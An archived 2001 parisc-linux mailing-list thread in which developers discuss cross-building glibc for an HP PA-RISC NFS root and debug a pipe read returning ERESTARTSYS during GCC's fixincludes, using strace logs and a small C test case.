Original-Received: from neuronet.pitt.edu (adsl-151-201-239-223.pittpa.adsl.bellatlantic.net [151.201.239.223])
	by smtp4ve.mailsrvcs.net (8.9.1/8.9.1) with ESMTP id HAA1934388;
	Thu, 22 Feb 2001 07:51:16 GMT
Original-Sender: raffo@bellatlantic.net
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.16 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10353

Christoph Plattner wrote:
> 
> I have found the method working here.
> 
> The GLIBC must be built with the line:
> 
>         make user-defined-trusted-dirs=/lib
> 
> This adds the `/lib' to the internal trusted search path, which is
> defined in the generated files ./elf/trusted-dirs.{st,h}. After
> this the normal installation to the configured prefix (in my
> case /usr/parisc/hppa-linux)
> 
>         make install user-defined-trusted-dirs=/lib
> 
> and the installation to the NFS root directory can be done by repeating
> install with
> 
>         make install user-defined-trusted-dirs=/lib
> install_root=/tftpboot/apollo/root
> 
> On the workstation (booted from the palinux-0.5 root file system) I
> mounted my new NFS root to /mnt and used the command
> 
>         ldconfig -v -r /mnt

I'd like to summarize the previously discussed procedure to build glibc
on the target machine to install in the nfsroot tree.

Assume the evironment vars for the build tree are

MACH=i386-linux
DEST=/mnt/parisc
ROOT=/mnt
(The NFS root exported from the directory /tftpboot/nfsroot)

# The configuration command would be:
# (--prefix seems to be ignored when using install_root later)
 
HOSTCC=gcc CC=hppa-linux-gcc $ROOT/source/glibc/configure \
--prefix=$DEST --build=$MACH --host=hppa-linux \
--target=hppa-linux --with-headers=$ROOT/source/linux/include \
--disable-profile --without-cvs --enable-add-ons

# The build command 

make user-defined-trusted-dirs=/lib

# the install command

make install user-defined-trusted-dirs=/lib \
install_root=/tftpboot/nfsroot

Sadly, the boot process stops when init starts. Any comments?
-- 
     Rafael




From - Thu Nov 08 21:16:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Initial setup of the `glibc' in the target rootfile 
 system
Date: Thu, 22 Feb 2001 09:34:01 +0100
Organization: AAA
Lines: 107
Approved: news@gmane.org
Message-ID: <3A94CEF9.F171DE3F@alcatel.at>
References: <Pine.LNX.4.21.0102091056000.9776-100000@front.linuxcare.com.au> <3A8FA3D8.19E69EF6@dot.at> <3A94C3B5.EF59259C@neuronet.pitt.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619899 15968 80.91.229.3 (22 Nov 2014 01:31:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:39 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@dot.at>,
	parisc-linux@lists.parisc-linux.org
To: "Rafael E. Herrera" <raffo@neuronet.pitt.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 01:34:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.at (atusks01.alcatel.at [212.183.9.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 169B34A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 01:34:26 -0700 (MST)
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id JAA24805;
	Thu, 22 Feb 2001 09:34:01 +0100 (MET)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10354

First of all, the make install has to be done twice !

One time for the tool chain to find the things like crt?.o, libs, etc..
For this the builtin tree is defined (given by --prefix).

	make install user-defined-trusted-dirs=/lib

The second time install it to the nfs root file system

	make install user-defined-trusted-dirs=/lib \
	  install_root=/tftpboot/nfsroot

For the target the `/lib' is the builtin search path, for the
cross tool chain the '/usr/parisc/hppa-linux/lib' (in my case).

AND A VERY IMPORTANT POINT: You have to run `ldconfig'. I tried
this on the target machine (apollo 720) by booting from the
NFS-ROOT of palinux-0.5 (I copied the contents of the CD to a
path exported by NFS). After booting I mounted my new NFSROOT to
`/mnt' and run 
	ldconfig -v -r /mnt

After that I could boot from the new root file system starting the
`init' process (but nothing else....)

Another test to do is to use host's ldconfig fore that work:

	ldconfig -v -r /tftpboot/apollo/root

or something like this...

Cheers
	Christoph P.


"Rafael E. Herrera" wrote:
> 
> Christoph Plattner wrote:
> >
> > I have found the method working here.
> >
> > The GLIBC must be built with the line:
> >
> >         make user-defined-trusted-dirs=/lib
> >
> > This adds the `/lib' to the internal trusted search path, which is
> > defined in the generated files ./elf/trusted-dirs.{st,h}. After
> > this the normal installation to the configured prefix (in my
> > case /usr/parisc/hppa-linux)
> >
> >         make install user-defined-trusted-dirs=/lib
> >
> > and the installation to the NFS root directory can be done by repeating
> > install with
> >
> >         make install user-defined-trusted-dirs=/lib
> > install_root=/tftpboot/apollo/root
> >
> > On the workstation (booted from the palinux-0.5 root file system) I
> > mounted my new NFS root to /mnt and used the command
> >
> >         ldconfig -v -r /mnt
> 
> I'd like to summarize the previously discussed procedure to build glibc
> on the target machine to install in the nfsroot tree.
> 
> Assume the evironment vars for the build tree are
> 
> MACH=i386-linux
> DEST=/mnt/parisc
> ROOT=/mnt
> (The NFS root exported from the directory /tftpboot/nfsroot)
> 
> # The configuration command would be:
> # (--prefix seems to be ignored when using install_root later)
> 
> HOSTCC=gcc CC=hppa-linux-gcc $ROOT/source/glibc/configure \
> --prefix=$DEST --build=$MACH --host=hppa-linux \
> --target=hppa-linux --with-headers=$ROOT/source/linux/include \
> --disable-profile --without-cvs --enable-add-ons
> 
> # The build command
> 
> make user-defined-trusted-dirs=/lib
> 
> # the install command
> 
> make install user-defined-trusted-dirs=/lib \
> install_root=/tftpboot/nfsroot
> 
> Sadly, the boot process stops when init starts. Any comments?
> --
>      Rafael
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux

-- 
  +--------V--------+	Christoph.Plattner@alcatel.at
  |  A L C A T E L  |	-----------------------------
  +-----------------+	Phone: +43 1 27722 3706	
         T A S		Fax:   +43 1 27722 3955




From - Thu Nov 08 21:16:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jes Sorensen <jes@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: pipes
Date: 22 Feb 2001 11:37:22 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <d3ofvv57h9.fsf@lxplus015.cern.ch>
References: <Pine.LNX.4.21.0102221609360.14557-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619899 15971 80.91.229.3 (22 Nov 2014 01:31:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 03:37:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.cern.ch (smtp1.cern.ch [137.138.128.38])
	by dsl2.external.hp.com (Postfix) with ESMTP id 06AF34A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 03:37:26 -0700 (MST)
Original-Received: from lxplus015.cern.ch (IDENT:root@lxplus015.cern.ch [137.138.161.112])
	by smtp1.cern.ch (8.9.3/8.9.3) with ESMTP id LAA31896;
	Thu, 22 Feb 2001 11:37:24 +0100 (MET)
Original-Received: (from jes@localhost)
	by lxplus015.cern.ch (8.9.3/8.9.3) id LAA14408;
	Thu, 22 Feb 2001 11:37:22 +0100
Original-Sender: Jes.Sorensen@cern.ch
In-Reply-To: Alan Modra's message of "Thu, 22 Feb 2001 17:37:55 +1100 (EST)"
Original-Lines: 13
User-Agent: Gnus/5.070096 (Pterodactyl Gnus v0.96) Emacs/20.4
Xref: news.gmane.org gmane.linux.ports.parisc:10355

>>>>> "Alan" == Alan Modra <alan@linuxcare.com.au> writes:

Alan> Nothing suspicious in previous rt_sigaction calls as far as I
Alan> could see, and putting in a debugging printk in do_sigaction
Alan> shows sa_flags is being set correctly, to 0x40.

I'd start by looking at the parisc kernel and glibc implementation of
pipe(). It's a somewhat special system call since it has two return
values.

I managed to wreck pipe() on the ia64 for a while as well.

Jes




From - Thu Nov 08 21:16:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: pipes
Date: Thu, 22 Feb 2001 11:00:54 +0000
Lines: 56
Approved: news@gmane.org
Message-ID: <20010222110054.A1129@linuxcare.com>
References: <Pine.LNX.4.21.0102100106450.27808-100000@front.linuxcare.com.au> <Pine.LNX.4.21.0102221609360.14557-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619899 15975 80.91.229.3 (22 Nov 2014 01:31:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 04:00:14 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id B87014A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 04:00:14 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 1B8F6B005; Thu, 22 Feb 2001 11:00:55 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <Pine.LNX.4.21.0102221609360.14557-100000@front.linuxcare.com.au>; from alan@linuxcare.com.au on Thu, Feb 22, 2001 at 05:37:55PM +1100
Xref: news.gmane.org gmane.linux.ports.parisc:10356

Hi Alan,

On Thu, Feb 22, 2001 at 05:37:55PM +1100, Alan Modra wrote:
> 
> I had another look at the fixincludes problem, and found the following:
> 
> 14:36:08 write(5, "cd /scsi/tmp\nfile=sys/stat.h\nif ( test  -r types/vxTypesOld.h ) > /dev/null 2>&1\nthen echo TRUE\nelse echo FALSE\nfi\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 158) = 158
> 14:36:08 alarm(10)                      = 0
> 14:36:08 read(6, "FALSE\n", 4096)       = 6
> 14:36:08 alarm(10)                      = 10
> 14:36:08 read(6, "FALSE\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = -512
> 14:36:18 --- SIGALRM (Alarm clock) ---
> 14:36:18 read(6, "FALSE\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = -512
> 14:36:28 --- SIGINT (Interrupt) ---
> 14:36:28 +++ killed by SIGINT +++
> 
> fd 5 and 6 are pipes to a /bin/sh.  -512 is ERESTARTSYS.  ERESTARTSYS
> shouldn't happen, and is why fixincludes is bombing.
> 
> Nothing suspicious in previous rt_sigaction calls as far as I could see,
> and putting in a debugging printk in do_sigaction shows sa_flags is being
> set correctly, to 0x40.
> 
> Ideas?

Simple test case:

main()
{
        char buf[10];

        strcpy(buf, "my buffer\n");
        alarm(1);
        read(0, buf, 10);
}


10:50:05 alarm(1)                       = 0
10:50:05 read(0, "my buffer\n", 10)     = -512
10:50:06 --- SIGALRM (Alarm clock) ---
10:50:06 +++ killed by SIGALRM +++


Looks like the primary problem is that your read is blocking for 10 seconds
thinking there is no data available.  Secondary problem is that the kernel
returns the wrong thing when the syscall is interrupted.

I gather there is something receiving the data written to fd 5, processing
it, and writing back up fd 6.  We want to know if that something writes
the missing data or not.

Richard





From - Thu Nov 08 21:16:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: pipes
Date: Thu, 22 Feb 2001 11:09:49 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20010222110949.B1129@linuxcare.com>
References: <Pine.LNX.4.21.0102100106450.27808-100000@front.linuxcare.com.au> <Pine.LNX.4.21.0102221609360.14557-100000@front.linuxcare.com.au> <20010222110054.A1129@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619900 15976 80.91.229.3 (22 Nov 2014 01:31:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Modra <alan@linuxcare.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 04:09:04 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id 952F34A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 04:09:03 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 8AEBAB005; Thu, 22 Feb 2001 11:09:49 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010222110054.A1129@linuxcare.com>; from rhirst@linuxcare.com on Thu, Feb 22, 2001 at 11:00:54AM +0000
Xref: news.gmane.org gmane.linux.ports.parisc:10357

On Thu, Feb 22, 2001 at 11:00:54AM +0000, Richard Hirst wrote:
> 10:50:05 alarm(1)                       = 0
> 10:50:05 read(0, "my buffer\n", 10)     = -512
> 10:50:06 --- SIGALRM (Alarm clock) ---
> 10:50:06 +++ killed by SIGALRM +++
> 
> 
> Looks like the primary problem is that your read is blocking for 10 seconds
> thinking there is no data available.  Secondary problem is that the kernel
> returns the wrong thing when the syscall is interrupted.

But I just tried this on my x86 as well (2.2 kernel):

alarm(1)                                = 0
read(0, 0xbffff740, 0xa)                = -1 (errno 512)
--- SIGALRM (Alarm clock) ---
+++ killed by SIGALRM +++

Richard





From - Thu Nov 08 21:16:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: pipes
Date: Thu, 22 Feb 2001 11:26:06 +0000 (GMT)
Lines: 10
Approved: news@gmane.org
Message-ID: <E14Vtsu-0003xc-00@the-village.bc.nu>
References: <20010222110949.B1129@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619900 15977 80.91.229.3 (22 Nov 2014 01:31:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:40 +0000 (UTC)
Cc: alan@linuxcare.com.au (Alan Modra),
	parisc-linux@lists.parisc-linux.org
To: rhirst@linuxcare.com (Richard Hirst)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 04:23:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id C98304A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 04:23:36 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14Vtsu-0003xc-00; Thu, 22 Feb 2001 11:26:08 +0000
In-Reply-To: <20010222110949.B1129@linuxcare.com> from "Richard Hirst" at Feb 22, 2001 11:09:49 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10358

> > thinking there is no data available.  Secondary problem is that the kernel
> > returns the wrong thing when the syscall is interrupted.
> 
> But I just tried this on my x86 as well (2.2 kernel):

The return is ok. Its 'deep magic' strace sees





From - Thu Nov 08 21:16:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: pipes
Date: Thu, 22 Feb 2001 22:34:18 +1100 (EST)
Lines: 248
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0102222202190.14557-100000@front.linuxcare.com.au>
References: <20010222110054.A1129@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619900 15980 80.91.229.3 (22 Nov 2014 01:31:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:31:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Feb 22 04:34:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from front.linuxcare.com.au (linuxcare.com.au [203.29.91.49])
	by dsl2.external.hp.com (Postfix) with ESMTP id 851FB4A19
	for <parisc-linux@lists.parisc-linux.org>; Thu, 22 Feb 2001 04:34:33 -0700 (MST)
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id WAA02912;
	Thu, 22 Feb 2001 22:34:18 +1100
In-Reply-To: <20010222110054.A1129@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:10359

On Thu, 22 Feb 2001, Richard Hirst wrote:

> On Thu, Feb 22, 2001 at 05:37:55PM +1100, Alan Modra wrote:
> > 
> > I had another look at the fixincludes problem, and found the following:
> > 
> > 14:36:08 write(5, "cd /scsi/tmp\nfile=sys/stat.h\nif ( test  -r types/vxTypesOld.h ) > /dev/null 2>&1\nthen echo TRUE\nelse echo FALSE\nfi\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 158) = 158
> > 14:36:08 alarm(10)                      = 0
> > 14:36:08 read(6, "FALSE\n", 4096)       = 6
> > 14:36:08 alarm(10)                      = 10
> > 14:36:08 read(6, "FALSE\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = -512
> > 14:36:18 --- SIGALRM (Alarm clock) ---
> > 14:36:18 read(6, "FALSE\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = -512
> > 14:36:28 --- SIGINT (Interrupt) ---
> > 14:36:28 +++ killed by SIGINT +++
> > 
> > fd 5 and 6 are pipes to a /bin/sh.  -512 is ERESTARTSYS.  ERESTARTSYS
> > shouldn't happen, and is why fixincludes is bombing.
> > 
> > Nothing suspicious in previous rt_sigaction calls as far as I could see,
> > and putting in a debugging printk in do_sigaction shows sa_flags is being
> > set correctly, to 0x40.
> > 
> > Ideas?
> 
> Simple test case:
> 
> main()
> {
>         char buf[10];
> 
>         strcpy(buf, "my buffer\n");
>         alarm(1);
>         read(0, buf, 10);
> }
> 
> 
> 10:50:05 alarm(1)                       = 0
> 10:50:05 read(0, "my buffer\n", 10)     = -512
> 10:50:06 --- SIGALRM (Alarm clock) ---
> 10:50:06 +++ killed by SIGALRM +++
> 
> 
> Looks like the primary problem is that your read is blocking for 10 seconds
> thinking there is no data available.  Secondary problem is that the kernel
> returns the wrong thing when the syscall is interrupted.

Hi Richard,
   This is a different situation.  Notice in my case that the first
read() returning -512 was before the alarm went off.

> I gather there is something receiving the data written to fd 5, processing
> it, and writing back up fd 6.  We want to know if that something writes
> the missing data or not.

Yeah, it's /bin/sh, and has happily executed numerous commands before
the problem occurs.

Alan
-- 

Here's the complete trace.  You can see things are a little different for
the last command sent over the pipe: fixincl has (rather stupidly) decided
to ignore various signals, but that shouldn't make any difference as
regards ERESTARTSYS.  As I said above, I checked what was happening in the
kernel do_sigaction too.

16:30:08 execve("/scsi/tmp/gcc/gcc/fixinc/fixincl", ["/scsi/tmp/gcc/gcc/fixinc/fixincl"], [/* 26 vars */]) = 0
16:31:01 newuname({sys="Linux", node="tea", ...}) = 0
16:30:08 brk(0)                         = 0x18000
16:30:08 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001d000
16:30:08 open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
16:30:08 open("/etc/ld.so.cache", O_RDONLY) = 4
16:30:08 newfstat(4, {st_mode=S_IFREG|0644, st_size=6548, ...}) = 0
16:30:08 mmap(NULL, 6548, PROT_READ, MAP_PRIVATE, 4, 0) = 0x4001e000
16:30:08 close(4)                       = 0
16:30:08 open("/lib/libc.so.6", O_RDONLY) = 4
16:30:08 read(4, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\2\202\224\0\0\0004\0N(\300\0\0\2\20\0004\0 \0\5\0(\0E\0B\0\0\0\6\0\0\0004\0\0\0004\0\0\0004\0\0\0\240\0\0\0\240\0\0\0\5\0\0\0\4\0\0\0\3\0\22k(\0\22k(\0\22k(\0\0\0\20\0\0\0\20\0\0\0\4\0\0\0\4\0\0\0\1\0\0\0\0\0\0\0\0\0\0\0\0\0\22\3618\0\22\3618\0\0\0\5\0\0\20\0\0\0\0\1\0\22\361@\0\23\1@\0\23\1@\0\0\230\304\0\0\316l\0\0\0\7\0\0\20\0\0\0\0\2\0\23\211T\0\23\231T\0\23\231T\0\0\0\260\0\0\0\260\0\0\0\6\0\0\0\4\0\0\3\371\0\0\7\226\0\0\5\373\0\0\2a\0\0\6\302"..., 1024) = 1024
16:30:08 newfstat(4, {st_mode=S_IFREG|0755, st_size=5294284, ...}) = 0
16:30:08 mmap(NULL, 1298348, PROT_READ|PROT_EXEC, MAP_PRIVATE, 4, 0) = 0x40020000
16:30:08 mprotect(0x40150000, 53164, PROT_NONE) = 0
16:30:08 mmap(0x40150000, 40960, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 4, 0x12f000) = 0x40150000
16:30:08 mmap(0x4015a000, 12204, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x4015a000
16:30:08 close(4)                       = 0
16:30:08 munmap(0x4001e000, 6548)       = 0
16:30:08 getpid()                       = 120
16:30:08 brk(0)                         = 0x18000
16:30:08 brk(0x19118)                   = 0x19118
16:30:08 brk(0x1a000)                   = 0x1a000
16:30:08 pipe([4, 5])                   = 0
16:30:08 pipe([6, 7])                   = 0
16:30:08 fork()                         = 121
16:30:08 close(4)                       = 0
16:30:08 close(7)                       = 0
16:30:08 fcntl(6, F_GETFL)              = 0 (flags O_RDONLY)
16:30:08 newfstat(6, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
16:30:08 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001e000
16:30:08 _llseek(0x6, 0, 0, 0xfaf00a48, 0x1) = -1 ESPIPE (Illegal seek)
16:30:08 fcntl(5, F_GETFL)              = 0x1 (flags O_WRONLY)
16:30:08 newfstat(5, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
16:30:08 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001f000
16:30:08 _llseek(0x5, 0, 0, 0xfaf00a48, 0x1) = -1 ESPIPE (Illegal seek)
16:30:08 getpid()                       = 120
16:30:08 rt_sigaction(SIGPIPE, {0x1664e, [], SA_RESTART}, {SIG_DFL}, 8) = 0
16:30:08 rt_sigaction(SIGALRM, {0x1664e, [], SA_RESTART}, {SIG_DFL}, 8) = 0
16:30:08 write(5, "trap : 1\n", 9)      = 9
16:30:08 brk(0x1c000)                   = 0x1c000
16:30:08 getcwd("/scsi/tmp", 4096)      = 10
16:31:02 write(5, "cd /scsi/tmp\ncase hppa-unknown-linux-gnu in\ni[34567]86-*-linux* )\n    echo run ;;\n* ) echo skip ;;\nesac\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 147) = 147
16:30:08 alarm(10)                      = 0
16:30:08 read(6, "skip\n", 4096)        = 5
16:30:09 alarm(10)                      = 10
16:30:09 read(6, "\n", 4096)            = 1
16:30:09 alarm(10)                      = 10
16:30:09 read(6, "ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = 32
16:30:09 alarm(0)                       = 10
16:30:09 write(5, "cd /scsi/tmp\ncase hppa-unknown-linux-gnu in\ni[34567]86-*-linux* )\n    echo run ;;\n* ) echo skip ;;\nesac\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 147) = 147
16:30:09 alarm(10)                      = 0
16:30:09 read(6, "skip\n\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = 38
16:30:09 alarm(10)                      = 10
16:30:09 alarm(10)                      = 10
16:30:09 alarm(0)                       = 10
16:30:09 write(5, "cd /scsi/tmp\ncase hppa-unknown-linux-gnu in\ni[34567]86-*-linux* )\n    echo run ;;\n* ) echo skip ;;\nesac\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 147) = 147
16:30:09 alarm(10)                      = 0
16:30:09 read(6, "skip\n\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = 38
16:30:09 alarm(10)                      = 10
16:30:09 alarm(10)                      = 10
16:30:09 alarm(0)                       = 10
16:30:09 write(5, "cd /scsi/tmp\ncase hppa-unknown-linux-gnu in\n*-*-sysv4* | \\\ni[34567]86-*-sysv5* | \\\ni[34567]86-*-udk* | \\\ni[34567]86-*-solaris2.[0-4] | \\\npowerpcle-*-solaris2.[0-4] | \\\nsparc-*-solaris2.[0-4] )\n    echo run ;;\n* ) echo skip ;;\nesac\n\necho\necho ShElL-OuTpUt-H"..., 274) = 274
16:30:09 alarm(10)                      = 0
16:30:09 read(6, "skip\n\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = 38
16:30:09 alarm(10)                      = 10
16:30:09 alarm(10)                      = 10
16:30:09 alarm(0)                       = 10
16:30:09 write(5, "cd /scsi/tmp\ncase hppa-unknown-linux-gnu in\n*-*-ultrix4.3 )\n    echo run ;;\n* ) echo skip ;;\nesac\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 141) = 141
16:30:09 alarm(10)                      = 0
16:30:09 read(6, "skip\n\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = 38
16:30:09 alarm(10)                      = 10
16:30:09 alarm(10)                      = 10
16:30:09 alarm(0)                       = 10
16:30:09 write(5, "cd /scsi/tmp\ncase hppa-unknown-linux-gnu in\n*-*-ultrix4.3 )\n    echo run ;;\n* ) echo skip ;;\nesac\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 141) = 141
16:30:09 alarm(10)                      = 0
16:30:09 read(6, "skip\n\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = 38
16:30:09 alarm(10)                      = 10
16:30:09 alarm(10)                      = 10
16:30:09 alarm(0)                       = 10
16:30:09 write(5, "cd /scsi/tmp\ncase hppa-unknown-linux-gnu in\n*-*-ultrix4.3 )\n    echo run ;;\n* ) echo skip ;;\nesac\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 141) = 141
16:30:09 alarm(10)                      = 0
16:30:09 read(6, "skip\n\nShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 4096) = 38
16:30:09 alarm(10)                      = 10
16:30:09 alarm(10)                      = 10
16:30:09 alarm(0)                       = 10
16:30:09 brk(0x1d000)                   = 0x1d000
16:30:09 brk(0x1e000)                   = 0x1e000
16:30:09 write(5, "cd /scsi/tmp\ncase hppa-unknown-linux-gnu in\nm88k-motorola-sysv3* )\n    echo run ;;\n* ) echo skip ;;\nesac\n\necho\necho ShElL-OuTpUt-HaS-bEeN-cOmPlEtEd\n", 148) = 148
16:30:10 alarm(10)                      = 0
